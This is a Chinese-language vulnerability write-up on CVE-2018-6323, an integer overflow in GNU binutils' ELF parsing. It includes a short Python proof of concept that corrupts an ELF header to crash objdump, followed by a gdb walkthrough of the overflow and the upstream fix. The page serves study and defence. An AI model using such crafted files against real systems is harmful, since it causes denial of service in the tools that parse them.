> For the complete documentation index, see [llms.txt](https://firmianay.gitbook.io/ctf-all-in-one/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://firmianay.gitbook.io/ctf-all-in-one/7_exploit/cve/7.1.7_binutils_2018-6323.md). # 7.1.7 CVE-2018-6323 GNU binutils elf\_object\_p 整型溢出漏洞 * [漏洞描述](#漏洞描述) * [漏洞复现](#漏洞复现) * [漏洞分析](#漏洞分析) * [参考资料](#参考资料) [下载文件](https://github.com/firmianay/CTF-All-In-One/blob/master/src/exploit/7.1.7_binutils_2018-6323) ## 漏洞描述 二进制文件描述符（BFD）库（也称为libbfd）中头文件 `elfcode.h` 中的 `elf_object_p()` 函数（binutils-2.29.1 之前）具有无符号整数溢出，溢出的原因是没有使用 `bfd_size_type` 乘法。精心制作的 ELF 文件可能导致拒绝服务攻击。 ## 漏洞复现 | | 推荐使用的环境 | 备注 | | ---- | ------------ | ---------- | | 操作系统 | Ubuntu 16.04 | 体系结构：32 位 | | 调试器 | gdb-peda | 版本号：7.11.1 | | 漏洞软件 | binutils | 版本号：2.29.1 | 系统自带的版本是 2.26.1，我们这里编译安装有漏洞的最后一个版本 2.29.1： ``` $ wget https://ftp.gnu.org/gnu/binutils/binutils-2.29.1.tar.gz $ tar zxvf binutils-2.29.1.tar.gz $ cd binutils-2.29.1/ $ ./configure --enable-64-bit-bfd $ make && sudo make install $ file /usr/local/bin/objdump /usr/local/bin/objdump: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c2e0c7f5040cd6798b708cb29cfaeb8c28d8262b, not stripped ``` 使用 PoC 如下： ```python import os hello = "#include\nint main(){printf(\"HelloWorld!\\n\"); return 0;}" f = open("helloWorld.c", 'w') f.write(hello) f.close() os.system("gcc -c helloWorld.c -o test") f = open("test", 'rb+') f.read(0x2c) f.write("\xff\xff") # 65535 f.read(0x244-0x2c-2) f.write("\x00\x00\x00\x20") # 536870912 f.close() os.system("objdump -x test") ``` ``` $ python poc.py objdump: test: File truncated *** Error in `objdump': free(): invalid pointer: 0x09b99aa8 *** ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb7e35377] /lib/i386-linux-gnu/libc.so.6(+0x6d2f7)[0xb7e3b2f7] /lib/i386-linux-gnu/libc.so.6(+0x6dc31)[0xb7e3bc31] objdump[0x814feab] objdump[0x8096c10] objdump[0x80985fc] objdump[0x8099257] objdump[0x8052791] objdump[0x804c1af] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7de6637] objdump[0x804c3ca] ======= Memory map: ======== 08048000-08245000 r-xp 00000000 08:01 265097 /usr/local/bin/objdump 08245000-08246000 r--p 001fc000 08:01 265097 /usr/local/bin/objdump 08246000-0824b000 rw-p 001fd000 08:01 265097 /usr/local/bin/objdump 0824b000-08250000 rw-p 00000000 00:00 0 09b98000-09bb9000 rw-p 00000000 00:00 0 [heap] b7a00000-b7a21000 rw-p 00000000 00:00 0 b7a21000-b7b00000 ---p 00000000 00:00 0 b7b99000-b7bb5000 r-xp 00000000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1 b7bb5000-b7bb6000 rw-p 0001b000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1 b7bcd000-b7dcd000 r--p 00000000 08:01 133406 /usr/lib/locale/locale-archive b7dcd000-b7dce000 rw-p 00000000 00:00 0 b7dce000-b7f7e000 r-xp 00000000 08:01 395148 /lib/i386-linux-gnu/libc-2.23.so b7f7e000-b7f80000 r--p 001af000 08:01 395148 /lib/i386-linux-gnu/libc-2.23.so b7f80000-b7f81000 rw-p 001b1000 08:01 395148 /lib/i386-linux-gnu/libc-2.23.so b7f81000-b7f84000 rw-p 00000000 00:00 0 b7f84000-b7f87000 r-xp 00000000 08:01 395150 /lib/i386-linux-gnu/libdl-2.23.so b7f87000-b7f88000 r--p 00002000 08:01 395150 /lib/i386-linux-gnu/libdl-2.23.so b7f88000-b7f89000 rw-p 00003000 08:01 395150 /lib/i386-linux-gnu/libdl-2.23.so b7f97000-b7f98000 rw-p 00000000 00:00 0 b7f98000-b7f9f000 r--s 00000000 08:01 149142 /usr/lib/i386-linux-gnu/gconv/gconv-modules.cache b7f9f000-b7fa0000 r--p 002d4000 08:01 133406 /usr/lib/locale/locale-archive b7fa0000-b7fa1000 rw-p 00000000 00:00 0 b7fa1000-b7fa4000 r--p 00000000 00:00 0 [vvar] b7fa4000-b7fa6000 r-xp 00000000 00:00 0 [vdso] b7fa6000-b7fc9000 r-xp 00000000 08:01 395146 /lib/i386-linux-gnu/ld-2.23.so b7fc9000-b7fca000 r--p 00022000 08:01 395146 /lib/i386-linux-gnu/ld-2.23.so b7fca000-b7fcb000 rw-p 00023000 08:01 395146 /lib/i386-linux-gnu/ld-2.23.so bff3a000-bff5b000 rw-p 00000000 00:00 0 [stack] Aborted (core dumped) ``` 需要注意的是如果在 configure 的时候没有使用参数 `--enable-64-bit-bfd`，将会出现下面的结果： ``` $ python poc.py objdump: test: File format not recognized ``` ## 漏洞分析 首先要知道什么是 BFD。BFD 是 Binary File Descriptor 的简称，使用它可以在你不了解程序文件格式的情况下，读写 ELF header, program header table, section header table 还有各个 section 等。当然也可以是其他的 BFD 支持的对象文件(比如COFF，a.out等）。对每一个文件格式来说，BFD 都分两个部分：前端和后端。前端给用户提供接口，它管理内存和规范数据结构，也决定了哪个后端被使用和什么时候后端的例程被调用。为了使用 BFD，需要包括 `bfd.h` 并且连接的时候需要和静态库 `libbfd.a` 或者动态库 `libbfd.so` 一起连接。 看一下这个引起崩溃的二进制文件，它作为一个可重定位文件，本来不应该有 program headers，但这里的 Number of program headers 这一项被修改为一个很大的值，已经超过了程序在内存中的范围： ``` $ file test test: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped $ readelf -h test | grep program readelf: Error: Out of memory reading 536870912 program headers Start of program headers: 0 (bytes into file) Size of program headers: 0 (bytes) Number of program headers: 65535 (536870912) ``` objdump 用于显示一个或多个目标文件的各种信息，通常用作反汇编器，但也能显示文件头，符号表，重定向等信息。objdump 的执行流程是这样的： 1. 首先检查命令行参数，通过 switch 语句选择要被显示的信息。 2. 剩下的参数被默认为目标文件，它们通过 `display_bfd()` 函数进行排序。 3. 目标文件的文件类型和体系结构通过 `bfd_check_format()` 函数来确定。如果被成功识别，则 `dump_bfd()` 函数被调用。 4. `dump_bfd()` 依次调用单独的函数来显示相应的信息。 回溯栈调用情况： ``` gdb-peda$ r -x test gdb-peda$ bt #0 0xb7fd9ce5 in __kernel_vsyscall () #1 0xb7e2eea9 in __GI_raise (sig=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54 #2 0xb7e30407 in __GI_abort () at abort.c:89 #3 0xb7e6a37c in __libc_message (do_abort=0x2, fmt=0xb7f62e54 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175 #4 0xb7e702f7 in malloc_printerr (action=, str=0xb7f5f943 "free(): invalid pointer", ptr=, ar_ptr=0xb7fb5780 ) at malloc.c:5006 #5 0xb7e70c31 in _int_free (av=0xb7fb5780 , p=, have_lock=0x0) at malloc.c:3867 #6 0x0814feab in objalloc_free (o=0x8250800) at ./objalloc.c:187 #7 0x08096c10 in bfd_hash_table_free (table=0x8250a4c) at hash.c:426 #8 0x080985fc in _bfd_delete_bfd (abfd=abfd@entry=0x8250a08) at opncls.c:125 #9 0x08099257 in bfd_close_all_done (abfd=0x8250a08) at opncls.c:773 #10 0x08052791 in display_file (filename=0xbffff136 "test", target=, last_file=0x1) at ./objdump.c:3726 #11 0x0804c1af in main (argc=0x3, argv=0xbfffef04) at ./objdump.c:4015 #12 0xb7e1b637 in __libc_start_main (main=0x804ba50
, argc=0x3, argv=0xbfffef04, init=0x8150fd0 <__libc_csu_init>, fini=0x8151030 <__libc_csu_fini>, rtld_fini=0xb7fea880 <_dl_fini>, stack_end=0xbfffeefc) at ../csu/libc-start.c:291 #13 0x0804c3ca in _start () ``` 一步一步追踪函数调用： ```c // binutils/objdump.c int main (int argc, char **argv) { [...] while ((c = getopt_long (argc, argv, "pP:ib:m:M:VvCdDlfFaHhrRtTxsSI:j:wE:zgeGW::", long_options, (int *) 0)) != EOF) { switch (c) { [...] case 'x': dump_private_headers = TRUE; dump_symtab = TRUE; dump_reloc_info = TRUE; dump_file_header = TRUE; dump_ar_hdrs = TRUE; dump_section_headers = TRUE; seenflag = TRUE; break; [...] } } if (formats_info) exit_status = display_info (); else { if (optind == argc) display_file ("a.out", target, TRUE); else for (; optind < argc;) { display_file (argv[optind], target, optind == argc - 1); optind++; } } [...] } ``` ```c // binutils/objdump.c static void display_file (char *filename, char *target) { bfd *file; [...] file = bfd_openr (filename, target); [...] display_any_bfd (file, 0); if (! last_file) bfd_close (file); else bfd_close_all_done (file); } ``` ```c // binutils/objdump.c static void display_any_bfd (bfd *file, int level) { /* Decompress sections unless dumping the section contents. */ if (!dump_section_contents) file->flags |= BFD_DECOMPRESS; /* If the file is an archive, process all of its elements. */ if (bfd_check_format (file, bfd_archive)) { [...] } else display_object_bfd (file); } ``` 最关键的部分，读取 program headers 的逻辑如下： ```c // binutils/objdump.c /* Read in the program headers. */ if (i_ehdrp->e_phnum == 0) elf_tdata (abfd)->phdr = NULL; else { Elf_Internal_Phdr *i_phdr; unsigned int i; #ifndef BFD64 if (i_ehdrp->e_phnum > ((bfd_size_type) -1) / sizeof (*i_phdr)) goto got_wrong_format_error; #endif amt = i_ehdrp->e_phnum * sizeof (*i_phdr); // <-- 整型溢出点 elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt); if (elf_tdata (abfd)->phdr == NULL) goto got_no_match; if (bfd_seek (abfd, (file_ptr) i_ehdrp->e_phoff, SEEK_SET) != 0) goto got_no_match; i_phdr = elf_tdata (abfd)->phdr; for (i = 0; i < i_ehdrp->e_phnum; i++, i_phdr++) { Elf_External_Phdr x_phdr; if (bfd_bread (&x_phdr, sizeof x_phdr, abfd) != sizeof x_phdr) goto got_no_match; elf_swap_phdr_in (abfd, &x_phdr, i_phdr); } } ``` 因为伪造的数值 `0xffff` 大于 0，进入读取 program headers 的代码。然后在溢出点乘法运算前，eax 为伪造的数值 `0x20000000`： ``` gdb-peda$ ni [----------------------------------registers-----------------------------------] EAX: 0x20000000 ('') EBX: 0x8250a08 --> 0x8250810 ("test") ECX: 0xd ('\r') EDX: 0x5f ('_') ESI: 0x8250ac8 --> 0x464c457f EDI: 0xd ('\r') EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386") ESP: 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815) EIP: 0x80aeba0 (: imul eax,eax,0x38) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80aeb90 : or DWORD PTR [ebx+0x28],0x800 0x80aeb97 : jmp 0x80ae613 0x80aeb9c : lea esi,[esi+eiz*1+0x0] => 0x80aeba0 : imul eax,eax,0x38 0x80aeba3 : sub esp,0x4 0x80aeba6 : xor edx,edx 0x80aeba8 : push edx 0x80aeba9 : push eax [------------------------------------stack-------------------------------------] 0000| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815) 0004| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f 0008| 0xbfffec28 --> 0xd ('\r') 0012| 0xbfffec2c --> 0x0 0016| 0xbfffec30 --> 0x8250a0c --> 0x81ca560 --> 0x81c9429 ("elf32-i386") 0020| 0xbfffec34 --> 0x82482a0 --> 0x9 ('\t') 0024| 0xbfffec38 --> 0x8250a08 --> 0x8250810 ("test") 0028| 0xbfffec3c --> 0x81ca560 --> 0x81c9429 ("elf32-i386") [------------------------------------------------------------------------------] Legend: code, data, rodata, value 780 elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt); ``` 做乘法运算，`0x20000000 * 0x38 = 0x700000000`，产生溢出。截断后高位的 `0x7` 被丢弃， eax 为 `0x00000000`，且 OVERFLOW 的标志位被设置： ``` gdb-peda$ ni [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x8250a08 --> 0x8250810 ("test") ECX: 0xd ('\r') EDX: 0x5f ('_') ESI: 0x8250ac8 --> 0x464c457f EDI: 0xd ('\r') EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386") ESP: 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815) EIP: 0x80aeba3 (: sub esp,0x4) EFLAGS: 0xa07 (CARRY PARITY adjust zero sign trap INTERRUPT direction OVERFLOW) [-------------------------------------code-------------------------------------] 0x80aeb97 : jmp 0x80ae613 0x80aeb9c : lea esi,[esi+eiz*1+0x0] 0x80aeba0 : imul eax,eax,0x38 => 0x80aeba3 : sub esp,0x4 0x80aeba6 : xor edx,edx 0x80aeba8 : push edx 0x80aeba9 : push eax 0x80aebaa : push ebx [------------------------------------stack-------------------------------------] 0000| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815) 0004| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f 0008| 0xbfffec28 --> 0xd ('\r') 0012| 0xbfffec2c --> 0x0 0016| 0xbfffec30 --> 0x8250a0c --> 0x81ca560 --> 0x81c9429 ("elf32-i386") 0020| 0xbfffec34 --> 0x82482a0 --> 0x9 ('\t') 0024| 0xbfffec38 --> 0x8250a08 --> 0x8250810 ("test") 0028| 0xbfffec3c --> 0x81ca560 --> 0x81c9429 ("elf32-i386") [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080aeba3 780 elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt); ``` 于是，在随后的 `bfd_alloc()` 调用时，第二个参数即大小为 0，分配不成功： ```c // bfd/opncls.c void *bfd_alloc (bfd *abfd, bfd_size_type wanted); ``` ``` gdb-peda$ ni [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x8250a08 --> 0x8250810 ("test") ECX: 0xd ('\r') EDX: 0x0 ESI: 0x8250ac8 --> 0x464c457f EDI: 0xd ('\r') EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386") ESP: 0xbfffec10 --> 0x8250a08 --> 0x8250810 ("test") EIP: 0x80aebab (: call 0x8099540 ) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80aeba8 : push edx 0x80aeba9 : push eax 0x80aebaa : push ebx => 0x80aebab : call 0x8099540 0x80aebb0 : mov DWORD PTR [esi+0x50],eax 0x80aebb3 : mov eax,DWORD PTR [ebx+0xa0] 0x80aebb9 : add esp,0x10 0x80aebbc : mov ecx,DWORD PTR [eax+0x50] Guessed arguments: arg[0]: 0x8250a08 --> 0x8250810 ("test") arg[1]: 0x0 arg[2]: 0x0 [------------------------------------stack-------------------------------------] 0000| 0xbfffec10 --> 0x8250a08 --> 0x8250810 ("test") 0004| 0xbfffec14 --> 0x0 0008| 0xbfffec18 --> 0x0 0012| 0xbfffec1c --> 0x80aea71 (: mov eax,DWORD PTR [esi+0x28]) 0016| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815) 0020| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f 0024| 0xbfffec28 --> 0xd ('\r') 0028| 0xbfffec2c --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080aebab 780 elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt); ``` 在后续的过程中，从 `bfd_close_all_done()` 到 `objalloc_free()`，用于清理释放内存，其中就对 `bfd_alloc()` 分配的内存区域进行了 `free()` 操作，而这又是一个不存在的地址，于是抛出了异常。 ### 补丁 该漏洞在 binutils-2.30 中被修复，补丁将 `i_ehdrp->e_shnum` 转换成 unsigned long 类型的 `bfd_size_type`，从而避免整型溢出。BFD 开发文件包含在软件包 `binutils-dev` 中： ```c // /usr/include/bfd.h typedef unsigned long bfd_size_type; ``` 由于存在回绕，一个无符号整数表达式永远无法求出小于零的值，也就不会产生溢出。 所谓回绕，可以看下面这个例子： ```c unsigned int ui; ui = UINT_MAX; // 在 32 位上为 4 294 967 295 ui++; printf("ui = %u\n", ui); // ui = 0 ui = 0; ui--; printf("ui = %u\n", ui); // 在 32 位上，ui = 4 294 967 295 ``` 补丁如下： ```diff $ git show 38e64b0ecc7f4ee64a02514b8d532782ac057fa2 bfd/elfcode.h commit 38e64b0ecc7f4ee64a02514b8d532782ac057fa2 Author: Alan Modra Date: Thu Jan 25 21:47:41 2018 +1030 PR22746, crash when running 32-bit objdump on corrupted file Avoid unsigned int overflow by performing bfd_size_type multiplication. PR 22746 * elfcode.h (elf_object_p): Avoid integer overflow. diff --git a/bfd/elfcode.h b/bfd/elfcode.h index 00a9001..ea1388d 100644 --- a/bfd/elfcode.h +++ b/bfd/elfcode.h @@ -680,7 +680,7 @@ elf_object_p (bfd *abfd) if (i_ehdrp->e_shnum > ((bfd_size_type) -1) / sizeof (*i_shdrp)) goto got_wrong_format_error; #endif - amt = sizeof (*i_shdrp) * i_ehdrp->e_shnum; + amt = sizeof (*i_shdrp) * (bfd_size_type) i_ehdrp->e_shnum; i_shdrp = (Elf_Internal_Shdr *) bfd_alloc (abfd, amt); if (!i_shdrp) goto got_no_match; @@ -776,7 +776,7 @@ elf_object_p (bfd *abfd) if (i_ehdrp->e_phnum > ((bfd_size_type) -1) / sizeof (*i_phdr)) goto got_wrong_format_error; #endif - amt = i_ehdrp->e_phnum * sizeof (*i_phdr); + amt = (bfd_size_type) i_ehdrp->e_phnum * sizeof (*i_phdr); elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt); if (elf_tdata (abfd)->phdr == NULL) goto got_no_match; ``` 打上补丁之后的 objdump 没有再崩溃： ``` $ objdump -v | head -n 1 GNU objdump (GNU Binutils) 2.30 $ objdump -x test objdump: test: Memory exhausted ``` ## 参考资料 * * [GNU binutils 2.26.1 - Integer Overflow (POC)](https://www.exploit-db.com/exploits/44035/)